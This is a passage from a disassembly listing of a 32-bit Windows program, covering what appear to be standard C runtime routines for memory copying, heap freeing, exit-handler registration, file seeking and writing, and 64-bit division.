		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_423960
		std
		rep movsd
		cld
		jmp	off_423A80[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_423A34
		dd offset loc_423A3C
		dd offset loc_423A44
		dd offset loc_423A4C
		dd offset loc_423A54
		dd offset loc_423A5C
		dd offset loc_423A64
off_423A30	dd offset loc_423A77	; DATA XREF: sub_4237A0+1C2r
; ---------------------------------------------------------------------------


loc_423A34:				; DATA XREF: sub_4237A0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_423A3C:				; DATA XREF: sub_4237A0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_423A44:				; DATA XREF: sub_4237A0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_423A4C:				; DATA XREF: sub_4237A0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_423A54:				; DATA XREF: sub_4237A0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_423A5C:				; DATA XREF: sub_4237A0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_423A64:				; DATA XREF: sub_4237A0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_423A77:				; CODE XREF: sub_4237A0+1C2j
					; DATA XREF: sub_4237A0:off_423A30o
		jmp	off_423A80[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_423A80	dd offset loc_423A90	; DATA XREF: sub_4237A0+1B7r
					; sub_4237A0:loc_423984r ...
		dd offset loc_423A98
		dd offset loc_423AA8
		dd offset loc_423ABC
; ---------------------------------------------------------------------------


loc_423A90:				; CODE XREF: sub_4237A0+1B7j
					; sub_4237A0:loc_423984j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_423A98:				; CODE XREF: sub_4237A0+1B7j
					; sub_4237A0:loc_423984j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_423AA8:				; CODE XREF: sub_4237A0+1B7j
					; sub_4237A0:loc_423984j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_423ABC:				; CODE XREF: sub_4237A0+1B7j
					; sub_4237A0:loc_423984j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4237A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423AE0	proc near		; CODE XREF: sub_410F5A+Ap
					; sub_41CC78+E9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_423AF2
		jmp	loc_423B7A
; ---------------------------------------------------------------------------


loc_423AF2:				; CODE XREF: sub_423AE0+Bj
		push	9
		call	sub_425990
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_4], eax


loc_423B05:				; CODE XREF: sub_423AE0+7Bj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jz	short loc_423B57
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 1
		jz	short loc_423B57
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_423B57
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 3
		jz	short loc_423B57
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	2Fh
		push	offset dword_43ED30
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_423B57
		int	3		; Trap to Debugger


loc_423B57:				; CODE XREF: sub_423AE0+34j
					; sub_423AE0+3Dj ...
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_423B05
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F970
		add	esp, 8
		push	9
		call	sub_425A30
		add	esp, 4


loc_423B7A:				; CODE XREF: sub_423AE0+Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423AE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423B90	proc near		; CODE XREF: sub_411011+10p
					; .XComp0:00412BFAp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41EE00
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_423B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BB0	proc near		; CODE XREF: sub_423C70+7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_421970
		push	2
		mov	eax, dword_4EA914
		push	eax
		call	sub_41FDF0
		add	esp, 8
		mov	ecx, dword_4EA910
		sub	ecx, dword_4EA914
		add	ecx, 4
		cmp	eax, ecx
		jnb	short loc_423C3D
		push	68h
		push	offset dword_43ED3C
		push	2
		push	2
		mov	edx, dword_4EA914
		push	edx
		call	sub_41FDF0
		add	esp, 8
		add	eax, 10h
		push	eax
		mov	eax, dword_4EA914
		push	eax
		call	sub_41F2C0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_423C1A
		call	sub_421980
		xor	eax, eax
		jmp	short loc_423C5F
; ---------------------------------------------------------------------------


loc_423C1A:				; CODE XREF: sub_423BB0+5Fj
		mov	ecx, dword_4EA910
		sub	ecx, dword_4EA914
		sar	ecx, 2
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx*4]
		mov	dword_4EA910, eax
		mov	ecx, [ebp+var_4]
		mov	dword_4EA914, ecx


loc_423C3D:				; CODE XREF: sub_423BB0+2Aj
		mov	edx, dword_4EA910
		mov	eax, [ebp+arg_0]
		mov	[edx], eax
		mov	ecx, dword_4EA910
		add	ecx, 4
		mov	dword_4EA910, ecx
		call	sub_421980
		mov	eax, [ebp+arg_0]


loc_423C5F:				; CODE XREF: sub_423BB0+68j
		mov	esp, ebp
		pop	ebp
		retn
sub_423BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423C70	proc near		; CODE XREF: sub_410749+8p
					; sub_43D3E0+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_423BB0
		add	esp, 4
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		pop	ebp
		retn
sub_423C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423C90	proc near		; DATA XREF: .XComp0:0044101Co
		push	ebp
		mov	ebp, esp
		push	0B6h
		push	offset dword_43ED3C
		push	2
		push	80h
		call	sub_41EDD0
		add	esp, 10h
		mov	dword_4EA914, eax
		cmp	dword_4EA914, 0
		jnz	short loc_423CC4
		push	18h
		call	sub_424980
		add	esp, 4


loc_423CC4:				; CODE XREF: sub_423C90+28j
		mov	eax, dword_4EA914
		mov	dword ptr [eax], 0
		mov	ecx, dword_4EA914
		mov	dword_4EA910, ecx
		pop	ebp
		retn
sub_423C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CE0	proc near		; CODE XREF: .XComp0:0041C826p
					; .XComp0:0041C8A1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_423CE7:				; CODE XREF: sub_423CE0+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_423D0B
		push	offset dword_43E494
		push	0
		push	65h
		push	offset dword_43ED48
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_423D0B
		int	3		; Trap to Debugger


loc_423D0B:				; CODE XREF: sub_423CE0+Bj
					; sub_423CE0+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_423CE7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424B30
		add	esp, 4
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423D50
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_424BA0
		add	esp, 4
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423D50	proc near		; CODE XREF: sub_423CE0+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_423D57:				; CODE XREF: sub_423D50+32j
		cmp	[ebp+arg_0], 0
		jnz	short loc_423D7E
		push	offset dword_43E4A4
		push	0
		push	92h
		push	offset dword_43ED48
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_423D7E
		int	3		; Trap to Debugger


loc_423D7E:				; CODE XREF: sub_423D50+Bj
					; sub_423D50+2Bj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_423D57
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_423DAB
		cmp	[ebp+arg_8], 0
		jz	short loc_423DBE
		cmp	[ebp+arg_8], 1
		jz	short loc_423DBE
		cmp	[ebp+arg_8], 2
		jz	short loc_423DBE


loc_423DAB:				; CODE XREF: sub_423D50+47j
		call	sub_42C1E0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_423E70
; ---------------------------------------------------------------------------


loc_423DBE:				; CODE XREF: sub_423D50+4Dj
					; sub_423D50+53j ...
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		cmp	[ebp+arg_8], 1
		jnz	short loc_423DEE
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4302B0
		add	esp, 4
		mov	edx, [ebp+arg_4]
		add	edx, eax
		mov	[ebp+arg_4], edx
		mov	[ebp+arg_8], 0


loc_423DEE:				; CODE XREF: sub_423D50+81j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_425630
		add	esp, 4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_423E1B
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFCh
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		jmp	short loc_423E4F
; ---------------------------------------------------------------------------


loc_423E1B:				; CODE XREF: sub_423D50+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_423E4F
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_423E4F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 400h
		test	edx, edx
		jnz	short loc_423E4F
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 200h


loc_423E4F:				; CODE XREF: sub_423D50+C9j
					; sub_423D50+D6j ...
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_4300F0
		add	esp, 0Ch
		sub	eax, 0FFFFFFFFh
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax


loc_423E70:				; CODE XREF: sub_423D50+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E80	proc near		; CODE XREF: .XComp0:0041C8BDp
					; .XComp0:0041C9CAp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_424B30
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423EC0
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_424BA0
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_423E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC0	proc near		; CODE XREF: sub_423E80+20p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_423EE9
		xor	eax, eax
		jmp	loc_4240D5
; ---------------------------------------------------------------------------


loc_423EE9:				; CODE XREF: sub_423EC0+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_423F04
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_423F0B
; ---------------------------------------------------------------------------


loc_423F04:				; CODE XREF: sub_423EC0+37j
		mov	[ebp+var_1C], 1000h


loc_423F0B:				; CODE XREF: sub_423EC0+42j
					; sub_423EC0:loc_4240CDj
		cmp	[ebp+var_C], 0
		jz	loc_4240D2
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	short loc_423F99
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_423F99
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_423F41
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_423F4A
; ---------------------------------------------------------------------------


loc_423F41:				; CODE XREF: sub_423EC0+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx


loc_423F4A:				; CODE XREF: sub_423EC0+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		push	ecx
		call	sub_422B50
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_4240CD
; ---------------------------------------------------------------------------


loc_423F99:				; CODE XREF: sub_423EC0+63j
					; sub_423EC0+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_42406F
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		and	eax, 108h
		test	eax, eax
		jz	short loc_423FD4
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_425630
		add	esp, 4
		test	eax, eax
		jz	short loc_423FD4
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_4240D5
; ---------------------------------------------------------------------------


loc_423FD4:				; CODE XREF: sub_423EC0+F2j
					; sub_423EC0+102j
		cmp	[ebp+var_1C], 0
		jz	short loc_423FEC
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_423FF2
; ---------------------------------------------------------------------------


loc_423FEC:				; CODE XREF: sub_423EC0+118j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx


loc_423FF2:				; CODE XREF: sub_423EC0+12Aj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_430550
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_424037
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_4240D5
; ---------------------------------------------------------------------------


loc_424037:				; CODE XREF: sub_423EC0+156j
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_18]
		jnb	short loc_42406D
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4240D5
; ---------------------------------------------------------------------------


loc_42406D:				; CODE XREF: sub_423EC0+18Fj
		jmp	short loc_4240CD
; ---------------------------------------------------------------------------


loc_42406F:				; CODE XREF: sub_423EC0+DFj
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42A430
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42409A
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4240D5
; ---------------------------------------------------------------------------


loc_42409A:				; CODE XREF: sub_423EC0+1CBj
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+18h], 0
		jle	short loc_4240C0
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_28], eax
		jmp	short loc_4240C7
; ---------------------------------------------------------------------------


loc_4240C0:				; CODE XREF: sub_423EC0+1F3j
		mov	[ebp+var_28], 1


loc_4240C7:				; CODE XREF: sub_423EC0+1FEj
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_1C], ecx


loc_4240CD:				; CODE XREF: sub_423EC0+D4j
					; sub_423EC0:loc_42406Dj
		jmp	loc_423F0B
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_423EC0+4Fj
		mov	eax, [ebp+arg_8]


loc_4240D5:				; CODE XREF: sub_423EC0+24j
					; sub_423EC0+10Fj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_423EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4240E0	proc near		; CODE XREF: sub_419698+9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	near ptr 27C0595h
		nop
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_42410B
		nop
		call	near ptr 27B0F7Fh
		push	eax
		call	sub_42C140
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42413C
; ---------------------------------------------------------------------------


loc_42410B:				; CODE XREF: sub_4240E0+15j
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42413A
		mov	edx, [ebp+arg_4]
		and	edx, 2
		test	edx, edx
		jz	short loc_42413A
		call	sub_42C1E0
		mov	dword ptr [eax], 0Dh
		call	sub_42C1F0
		mov	dword ptr [eax], 5
		or	eax, 0FFFFFFFFh
		jmp	short loc_42413C
; ---------------------------------------------------------------------------


loc_42413A:				; CODE XREF: sub_4240E0+33j
					; sub_4240E0+3Dj
		xor	eax, eax


loc_42413C:				; CODE XREF: sub_4240E0+29j
					; sub_4240E0+58j
		mov	esp, ebp
		pop	ebp
		retn
sub_4240E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_424140	proc near		; CODE XREF: sub_4196B4+53p
					; sub_41E1F9+30p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_424162
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4241A3
; ---------------------------------------------------------------------------


loc_424162:				; CODE XREF: sub_424140+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_424170:				; CODE XREF: sub_424140+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_424170
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_42419E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_42419E
		jb	short loc_42419F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_42419F


loc_42419E:				; CODE XREF: sub_424140+4Ej
					; sub_424140+54j
		dec	esi


loc_42419F:				; CODE XREF: sub_424140+56j
					; sub_424140+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4241A3:				; CODE XREF: sub_424140+20j
		pop	esi
		pop	ebx
		retn	10h
sub_424140	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4241B0	proc near		; CODE XREF: sub_4196B4+32p
					; sub_41E1F9+56p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4241D1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_424221
; ---------------------------------------------------------------------------


loc_4241D1:				; CODE XREF: sub_4241B0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4241DF:				; CODE XREF: sub_4241B0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4241DF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_42420A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_42420A
		jb	short loc_424212
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_424212


loc_42420A:				; CODE XREF: sub_4241B0+4Aj
					; sub_4241B0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_424212:				; CODE XREF: sub_4241B0+52j
					; sub_4241B0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_424221:				; CODE XREF: sub_4241B0+1Fj
		pop	ebx
		retn	10h
sub_4241B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_424230	proc near		; CODE XREF: sub_41983F+BBp
					; sub_41983F+F6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_424251
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_424251:				; CODE XREF: sub_424230+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_42426D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_42426D:				; CODE XREF: sub_424230+27j
		or	eax, eax
		jnz	short loc_424289
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4242CA
; ---------------------------------------------------------------------------


loc_424289:				; CODE XREF: sub_424230+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_424297:				; CODE XREF: sub_424230+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_424297
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4242C5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4242C5
		jb	short loc_4242C6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4242C6


loc_4242C5:				; CODE XREF: sub_424230+85j
					; sub_424230+8Bj
		dec	esi


loc_4242C6:				; CODE XREF: sub_424230+8Dj
					; sub_424230+93j
		xor	edx, edx
		mov	eax, esi


loc_4242CA:				; CODE XREF: sub_424230+57j
		dec	edi
		jnz	short loc_4242D4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4242D4:				; CODE XREF: sub_424230+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_424230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4242E0	proc near		; CODE XREF: sub_419E01+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
